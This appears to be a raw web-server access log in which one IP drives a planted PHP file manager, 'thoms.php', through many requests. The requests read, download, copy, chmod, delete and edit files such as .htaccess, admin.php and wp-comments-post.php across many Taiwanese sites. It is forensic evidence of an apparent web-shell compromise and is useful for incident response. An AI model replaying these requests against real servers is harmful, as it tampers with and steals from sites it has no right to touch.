45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?dl=.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13791 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 200 38781 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Findex.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Findex.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /booking-wise2.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?chmod=postnews.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?del=postnews.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13774 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?dl=txets.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13765 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11918 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Fadmin.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Fadmin.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?dl=error_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13792 "http://163.245.207.76:443/thoms.php?dl=error_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13778 "http://163.245.207.76:443/thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ferror_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ferror_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2F.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2F.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Fpostnews.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Fpostnews.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /thoms.php?dl=postnews.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13775 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:05 -0400] "GET /booking-wise2.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?dl=termps.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13774 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13791 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /booking-wise2.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /booking-wise2.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /booking-wise2.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11970 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13792 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22664 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11412 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22664 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22664 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 12791 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16361 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22643 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
